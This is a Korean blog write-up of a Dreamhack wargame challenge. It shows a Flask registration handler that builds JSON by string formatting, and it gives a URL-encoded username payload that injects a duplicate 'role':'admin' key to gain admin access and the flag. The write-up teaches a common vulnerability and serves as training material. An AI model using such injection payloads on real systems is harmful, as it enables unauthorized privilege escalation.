{"role": "admin"}

2026. 1. 21. 12:58·Dreamhack 워게임/Lv.1
반응형

문제 설명

Can you gain admin access?


취약점분석

raw_user = (
    f'{{"role":"user",'
    f'"username":"{username}",'
    f'"pw":"{pw}",'
    f'"uid":"{uid}"}}'
)
try:
    user = json.loads(raw_user)
except Exception:
    return render_template("register.html", title="Register", error="회원가입에 실패했습니다."), 400
  • username에 "를 넣으면 JSON구조를 탈출할 수 있고, 중복 키가 있을 때 마지막 값이 유지됨
    즉, "role"="admin"을 뒤에 덧 붙이면 role이 admin으로 확정

익스플로잇

  • /register 요청 가로챈 후 body를 수정할 예정

  • username에  role 삽입
username=aaa%22,%22role%22:%22admin%22,%22username%22:%22aaa&password=1234 	## %22 = "
  • 서버 입장에서 aaa","role":"admin","username":"aaa 들어옴
  {
    "role":"user",
    "username":"aaa",
    "role":"admin",
    "username":"aaa",
    "pw":"<hash>",
    "uid":"<uuid>"
  }
  • 그럼 개념상 이런식으로 해석됨

그렇게 등록한 후 로그인 하고 flag 확인


키워드

JSON Injection

: 입력값이 JSON 문자열에 그대로 합쳐질 때 구조를 깨고 필드를 주입하는 공격

 

Authorization Bypass

: 권한 검증 로직의 허점을 이용해 관리자 권한을 얻는 공격

반응형

'Dreamhack 워게임 > Lv.1' 카테고리의 다른 글

CSRF Advacned  (0) 2026.01.23
XSS Filtering Bypass  (0) 2026.01.21
simple_sqli  (1) 2026.01.15
csrf-2  (1) 2026.01.11
csrf - 1  (0) 2026.01.11
'Dreamhack 워게임/Lv.1' 카테고리의 다른 글
  • CSRF Advacned
  • XSS Filtering Bypass
  • simple_sqli
  • csrf-2
y3onbug5
y3onbug5
y3onbug5 님의 블로그 입니다.
  • y3onbug5
    y3onbug5 님의 블로그
    y3onbug5
  • 전체
    오늘
    어제
    • 분류 전체보기 (167) N
      • Alpacahack (19) N
      • Dreamhack 워게임 (49)
        • Lv.1 (40)
        • Lv.0 (4)
        • LV.2 (3)
        • LV.3 (2)
      • [Dreamhack] Web Beginner (3)
      • [Dreamhack] Web Hacking (17)
        • 웹 기초 지식 (4)
        • Cookie & Session (2)
        • Cross-Site Scripting(XSS) (1)
        • Cross-Site Request Forgery (1)
        • SQL Injection (4)
        • NoSQL Injection (2)
        • Command Injection (1)
        • File Vulnerability (1)
        • Server-Side Request Forgery (1)
      • [Dreamhack] Web Hacking Client-Side (10)
        • XSS Filtering Bypass (2)
        • Content Security Policy (CSP) (2)
        • CSRF,CORS Bypass (2)
        • Client-Side Template Injection (CSTI) (1)
        • CSS Injection (1)
        • Relative Path Overwrite (RPO) (1)
        • DOM Vulnerability (1)
      • [Dreamhack] Web Hacking Server-Side (15)
        • SQL Injection Advanced (4)
        • SQL Injection Advanced - Fingerprinting (2)
        • NoSQL Injection Advanced (3)
        • Command Injection Advanced - Web Servers (3)
        • File Vulnerability Advanced - Web Server (3)
      • [Dreamhack]Black-Box Penetration Testing (15)
        • DreamCommunity Penetration Testing (11)
      • [Dreamhack] LLM (2)
        • [Dreamhack] LLM과 프롬프트 엔지니어링 (2)
      • Web 공부 (4)
      • Web Study (15)
      • JavaScript (17)
        • 기초 (12)
        • 중급 (4)
      • 웹 개발(Flask) (0)
      • [Security First] web 기초교육 (1) N
  • 블로그 메뉴

    • 홈
    • 태그
    • 방명록
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    xss
    LLM
    CSRF
    cve
    webstudy
    webhacking
    JavaScript
    DreamHack
    hacking
    alpacahack
    드림핵
    web
    JS
  • 최근 댓글

  • 최근 글

  • hELLO· Designed By정상우.v4.10.5
y3onbug5
{"role": "admin"}
상단으로

티스토리툴바